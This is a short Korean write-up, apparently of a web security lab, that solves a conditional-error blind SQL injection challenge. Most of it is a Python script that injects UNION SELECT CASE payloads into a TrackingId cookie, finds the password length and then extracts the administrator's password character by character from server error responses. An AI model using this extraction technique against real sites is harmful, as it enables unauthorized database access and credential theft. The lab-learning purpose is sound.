728x90
이번 문제는 trackingid 쿼리문에 오류가 생기면 에러 메시지를 출력하여 blind injection을 시도할 수 있다.
조건부 에러로 내가 원하는 조건에 에러를 발생시켜 참 거짓을 알 수 있다.
이를 참고해 코드를 작성하면
import requests
url="https://0a4700dd049d11cd80450375000700d9.web-security-academy.net/"
cookies={"TrackingId":"2N1Ldflr2AxiIj1k",
"session":"OWu48fGtISFp7w7V4EQDNaYFNjFq70dS"}
string="0123456789abcdefghijklmnopqrstuvwxyz"
pw=""
for i in range(0,100): #길이구하기
cookies={"session":"OWu48fGtISFp7w7V4EQDNaYFNjFq70dS",
"TrackingId":f"2N1Ldflr2AxiIj1k' union select case when length(password)={i} then TO_CHAR(1/0) else null end from users -- "}
res=requests.get(url,cookies=cookies)
if "Internal Server Error" in res.text:
length=i
print("length:",i)
break
for i in range(1,length+1): #pw구하기
for j in string:
cookies={"session":"OWu48fGtISFp7w7V4EQDNaYFNjFq70dS",
"TrackingId":f"2N1Ldflr2AxiIj1k' union select case when substr(password,{i},1)='{j}' then TO_CHAR(1/0) else null end from users where username = 'administrator'-- "}
res=requests.get(url,cookies=cookies)
if "Internal Server Error" in res.text:
pw+=j
print("pw:",pw)
break
print("password:",pw)
union을 이용해 select문을 연결해 준 뒤 조건들이 참이때 오류를 발생시켜 pw길이와 값을 알아낼 수 있다.
pw값을 알아낼 때 username을 지정 안 해주면 다른 id의 비밀번호가 출력될 수 있으므로 주의해야 된다.
728x90